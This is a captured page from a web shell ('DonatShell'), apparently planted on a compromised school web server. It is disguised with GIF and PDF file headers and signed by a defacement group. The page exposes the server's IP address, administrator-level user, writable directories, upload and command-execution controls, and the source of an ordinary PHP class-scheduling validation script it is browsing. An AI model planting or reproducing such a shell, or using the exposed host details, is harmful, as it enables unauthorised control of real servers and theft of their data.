GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Class/ClassAddFormVerify.phpinc
<?
// Admin/Class/ClassAddFormVerify.phpinc

debugTrackBegin();

$f_maxMeetingRows = formValue('maxMeetingRows');
if ( $f_task != 'Add' || $f_subtask != 'Parse Class' ) {
	$f_courseId = formValue('courseId');
	$f_classId = formValue('classId');
	$f_RCclassId = formValue('RCclassId');
	$f_classSection = formValue('classSection');
	$f_classDaysArray = formValue('classDays'); // classDays = array();
	$f_classTimeStartArray = formValue('classTimeStart'); // classTimeStart = array();
	$f_classTimeStopArray = formValue('classTimeStop'); // classTimeStop = array();
	$f_classRoomBldgArray = formValue('classRoomBldg'); // classRoomBldg = array();
	$f_classRoomNumberArray = formValue('classRoomNumber'); // classRoomNumber = array();
	$f_classInstructorArray = formValue('classInstructor'); // classRoomNumber = array();
}
/* * /
printVar("$_POST",$_POST);
printVar('$f_courseId',$f_courseId);
printVar('$f_maxMeetingRows',$f_maxMeetingRows);
printVar('$f_classId',$f_classId);
printVar('$f_RCclassId',$f_RCclassId);
printVar('$f_classSection',$f_classSection);
printVar('$f_classDaysArray',$f_classDaysArray);
printVar('$f_classTimeStartArray',$f_classTimeStartArray);
printVar('$f_classTimeStopArray',$f_classTimeStopArray);
printVar('$f_classRoomBldgArray',$f_classRoomBldgArray);
printVar('$f_classRoomNumberArray',$f_classRoomNumberArray);
echo "<br>\n";
/* */

$error = false;
$f_error = '';

// RCclassId
if (strlen($f_RCclassId) != 6 || !is_numeric($f_RCclassId)) {
	$error = true;
	$f_error .= 'ClassId ('.$f_RCclassId.') is not 6 digits long or is not a number.<br>';
}

// classSection
if ($f_classSection == '') {
	$error = true;
	$f_error .= 'Section is blank.<br>';
} else {
	if (!is_numeric($f_classSection)) {
		$error = true;
		$f_error .= 'Section ('.$f_classSection.') is not a number.<br>';
	}
}

// classDays
$f_meetingRowCount = 0;
for ($index=1; $index<=$f_maxMeetingRows; $index++) {
	$f_classDaysArray[$index-1] = trim(strtoupper($f_classDaysArray[$index-1]));
	$f_classDays = str_replace(" ","",$f_classDaysArray[$index-1]);
	if ( $f_classDays != '') $f_meetingRowCount = $index;
	$thisDayError = false;
	if ( $f_classDaysArray[$index-1] != '' ) {
		if ( preg_match_all("/[Uu]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Sunday (U).<br>';
		}
		if ( preg_match_all("/[Mm]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Monday (M).<br>';
		}
		if ( preg_match_all("/[Tt]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Tuesday (T).<br>';
		}
		if ( preg_match_all("/[Ww]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Wednesday (W).<br>';
		}
		if ( preg_match_all("/[Hh]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Thursday (H).<br>';
		}
		if ( preg_match_all("/[Ff]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Friday (F).<br>';
		}
		if ( preg_match_all("/[Ss]/",$f_classDays,$matches) > 1 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has more than one Saturday (S).<br>';
		}
		if ( preg_match_all("/[^UuMmTtWwHhFfSs]/",$f_classDays,$matches) > 0 ) {
			$thisDayError = true;
			$f_error .= '#'.$index.' Days ('.$f_classDays.') has non-day characters (UMTWHFS).<br>';
		}
		if ( $thisDayError ) {
			$error = true;
		} else {
				$f_classDaysArray[$index-1] = $f_classDays;
		}
		#printVar('$f_classDays['.$index.']',$f_classDays);
	}
}

// classTimeStart
for ($index=1; $index<=$f_maxMeetingRows; $index++) {
	$f_classTimeStart = ucfirst($f_classTimeStartArray[$index-1]); if ( $f_classTimeStart == 'Arr' ) $f_classTimeStart = 'Arranged';
	#printVar('$f_classTimeStart',$f_classTimeStart);
	if ( $index <= $f_meetingRowCount ) {
		if ( $f_classTimeStart != '' && $f_classTimeStart != 'Arranged' ) {
			if ( valid_time($f_classTimeStart) ) {
				$f_classTimeStart = valid_time($f_classTimeStart);
				$f_classTimeStartArray[$index-1] = $f_classTimeStart;
			} else {
				$error = true;
				$f_error .= '#'.$index.' Start time ('.$f_classTimeStart.') is not a valid time.<br>';
			}
			#printVar('valid_time($f_classTimeStart)['.$index.']',valid_time($f_classTimeStart));
		} else {
			$f_classTimeStartArray[$index-1] = $f_classTimeStart;
			if ( $f_classTimeStart != '' ) printVar('$f_classTimeStart['.$index.']',$f_classTimeStart);
		}
	}
}

// classTimeStop
for ($index=1; $index<=$f_maxMeetingRows; $index++) {
	$f_classTimeStop = ucfirst($f_classTimeStopArray[$index-1]); if ( $f_classTimeStop == 'Arr' ||  $f_classTimeStop == 'Arranged' ) $f_classTimeStop = '';
	if ( $index <= $f_meetingRowCount ) {
		if ( $f_classTimeStop != '' ) {
			if ( valid_time($f_classTimeStop) ) {
				$f_classTimeStop = valid_time($f_classTimeStop);
				$f_classTimeStopArray[$index-1] = $f_classTimeStop;
				#printVar('strtotime('.$f_classTimeStartArray[$index-1].')',strtotime($f_classTimeStartArray[$index-1]));
				#printVar("strtotime($f_classTimeStop)",strtotime($f_classTimeStop));
				if ( strtotime($f_classTimeStartArray[$index-1]) >= strtotime($f_classTimeStop) ) {
					$error = true;
					$f_error .= '#'.$index.' Start time ('.$f_classTimeStart.') is not before Stop time ('.$f_classTimeStop.').<br>';
				}
			} else {
				$error = true;
				$f_error .= '#'.$index.' Start time ('.$f_classTimeStop.') is not a valid time.<br>';
			}
			#printVar('valid_time($f_classTimeStop)['.$index.']',valid_time($f_classTimeStop));
		} else {
			$f_classTimeStopArray[$index-1] = $f_classTimeStop;
			if ( $f_classTimeStop != '' ) printVar('$f_classTimeStop['.$index.']',$f_classTimeStop);
		}
	}
}

// classRoomBldg

// classRoomNumber

// classInstructor

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team